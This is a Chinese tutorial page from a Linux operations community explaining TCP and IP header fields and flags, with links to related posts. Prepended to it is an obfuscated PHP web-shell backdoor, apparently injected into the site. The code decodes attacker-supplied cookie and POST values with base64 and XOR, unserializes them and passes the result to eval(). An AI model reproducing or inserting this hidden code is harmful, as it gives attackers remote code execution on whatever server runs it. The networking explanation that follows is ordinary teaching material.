$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 网络协议详解 | Linux运维部落

网络协议详解

TCP协议、IP协议

7dd795a18ba08b59db9bedf8be661b06

TCP包头:

1.源端口、目标端口:计算机上的进程要和其他进程通信是要通过计算机端口的,而一个计算机端口某个时刻只能被一个进程占用,所以通过指定源端口和目标端口,就可以知道是哪两个程序需要通信。源端口、目标端口是用16位表示的,可推算计算机的端口个数为2^16个

2.序列号:表示本报文段所发送数据的第一个字节的编号。在TCP连接中所传送的字节流的每一个字节都会按顺序编号。由于序列号由32位表示,所以每2^32个字节,就会出现序列号回绕,再次从 0 开始

3.确认号:表示接收方期望收到发送方下一个报文段的第一个字节数据的编号。也就是告诉发送发:我希望你(指发送方)下次发送的数据的第一个字节数据的编号是这个确认号

4.数据偏移:表示TCP报文段的首部长度,共4位,由于TCP首部包含一个长度可变的选项部分,需要指定这个TCP报文段到底有多长。它指出 TCP 报文段的数据起始处距离 TCP 报文段的起始处有多远。该字段的单位是32位(即4个字节为计算单位),4位二进制最大表示15,所以数据偏移也就是TCP首部最大60字节

URG表示本报文段中发送的数据是否包含紧急数据。后面的紧急指针字段(urgent

pointer)只有当URG=1时才有效

ACK表示是否前面的确认号字段是否有效。ACK=1,表示有效。只有当ACK=1时,前面

的确认号字段才有效。TCP规定,连接建立后,ACK必须为1,带ACK标志的TCP报文段称为确认报文段

PSH提示接收端应用程序应该立即从TCP接收缓冲区中读走数据,为接收后续数据腾出空

间。如果为1,则表示对方应当立即把数据提交给上层应用,而不是缓存起来,如果应用程序不将接收到的数据读走,就会一直停留在TCP接收缓冲区中

RST如果收到一个RST=1的报文,说明与主机的连接出现了严重错误(如主机崩溃),必

须释放连接,然后再重新建立连接。或者说明上次发送给主机的数据有问题,主机拒绝响应,

带RST标志的TCP报文段称为复位报文段

SYN在建立连接时使用,用来同步序号。当SYN=1,ACK=0时,表示这是一个请求建立连接的报文段;当SYN=1,ACK=1时,表示对方同意建立连接。SYN=1,说明这是一个请求建立连接或同意建立连接的报文。只有在前两次握手中SYN才置为1,带SYN标志的TCP报文段称为同步报文段

FIN表示通知对方本端要关闭连接了,标记数据是否发送完毕。如果FIN=1,即告诉对方:

“我的数据已经发送完毕,你可以释放连接了”,带FIN标志的TCP报文段称为结束报文段

6.窗口大小:表示现在允许对方发送的数据量,也就是告诉对方,从本报文段

的确认号开始允许对方发送的数据量

7.校验和:提供额外的可靠性

8.紧急指针:标记紧急数据在数据字段中的位置

9.选项部分:其最大长度可根据TCP首部长度进行推算。TCP首部长度用4位表

示,选项部分最长为:(2^4-1)*4-20=40字节

常见选项:

最大报文段长度:Maxium Segment Size,MSS 期望对方发送TCP报文段时那个数据字段的长度。默认是536字节。

窗口扩大:Windows Scaling

为了扩大窗口,由于TCP首部的窗口大小字段长度是16位,所以其表示的最大数是

65535。但是随着时延和带宽比较大的通信产生(如卫星通信),需要更大的窗口

来满足性能和吞吐率,所以产生了这个窗口扩大选项

时间戳: Timestamps

可以用来计算RTT(往返时间),发送方发送TCP报文时,把当前的时间值放入时间

戳字段,接收方收到后发送确认报文时,把这个时间戳字段的值复制到确认报文中,

当发送方收到确认报文后即可计算出RTT。

 

IP 报头

1.版本:占4位,指 IP 协议的版本目前的IP协议版本号为4

2.首部长度:占4位,可表示的最大数值是15个单位,一个单位为4字节,因此IP 的首部

长度的最大值是60字节

3.区分服务:占8位,用来获得更好的服务,在旧标准中叫做服务类型,但实际上一直未被使

用过.后改名为区分服务.只有在使用区分服务(DiffServ)时,这个字段才起作用.一般的

情况下都不使用

4.总长度:占16位,指首部和数据之和的长度,单位为字节,因此数据报的最大长度为

65535 字节.总长度必须不超过最大传送单元 MTU

5.标识:占16位,它是一个计数器,通常,每发送一个报文,该值会加1, 也用于数据包

分片,在同一个包的若干分片中,该值是相同的

6.标志(flag):占3位,目前只有后两位有意义

7.DF: Don‘t Fragment,中间的一位,只有当 DF=0 时才允许分片

8.MF: More Fragment,最高位,MF=1表示后面还有分片。MF=0 表示最后一个分片

9.片偏移:占12位,指较长的分组在分片后,该分片在原分组中的相对位置.片偏移以8个字节为偏移单位

10.生存时间:占8位,记为TTL (Time To Live) 数据报在网络中可通过的路由器数的

最大值,TTL 字段是由发送端初始设置一个 8 bit字段.推荐的初始值由分配数字

RFC 指定,当前值为 64.发送 ICMP 回显应答时经常把 TTL 设为最大值 255

11.协议:占8位,指出此数据报携带的数据使用何种协议以便目的主机的IP层将数据

部分上交给哪个处理过程, 1表示为 ICMP 协议, 2表示为 IGMP 协议, 6表示为

TCP 协议, 17表示为 UDP 协议

12.首部检验和:占16位,只检验数据报的首部不检验数据部分.这里不采用 CRC 检验

码而采用简单的计算方法

13.源地址和目的地址:都各占4字节,分别记录源地址和目的地址

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/97269

(1)
上一篇 2018-04-30 08:49
下一篇 2018-04-30 09:32

相关推荐

  • MySQL之事务及并发控制

    事务主要用于处理操作量大,复杂度高的数据。比如说,在人员管理系统中,你删除一个人员,你既需要删除人员的基本资料,也要删除和该人员相关的信息,如信箱,文章等等,这样,这些数据库操作语句就构成一个事务

    2018-06-12
  • 第二周

    第二周: Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。 1 touch   可以创建一个空的新文件,若文件存在改变文件时间戳。 2 cat     查看文件内容,一次性输出所有内容, 如cat  filename -n :输出所有行编号 -b 对非空输出行号 3 more  可以分屏显示  按回车翻下一屏 4 less   可以分…

    Linux笔记 2018-07-02
  • 虚拟机

    虚拟机安装

    2018-04-01
  • nginx实现请求转发

    反向代理适用于很多场合,负载均衡是最普遍的用法。 nginx 作为目前最流行的web服务器之一,可以很方便地实现反向代理。 nginx 反向代理官方文档: NGINX REVERSE PROXY 当在一台主机上部署了多个不同的web服务器,并且需要能在80端口同时访问这些web服务器时,可以使用 nginx 的反向代理功能: 用 nginx 在80端口监听所…

    Linux笔记 2018-07-08
  • 笔记

    LINUX中查看路由表的命令 route -nIP地址 有类的 无类的无类:网络ID ,主机ID不确定 (32位以内的)CIDR 无类域间路由无类ID要与netmask(子网掩码)一起用 用子网掩码(也是32位的2进制数)来确定无类ID的网络ID和主ID netmask对应的是1IP/网络ID位数255.255.0.000000000 010000000 1…

    Linux笔记 2018-05-01
  • 批量部署工具Ansibale笔记

    自动化运维

    2018-05-28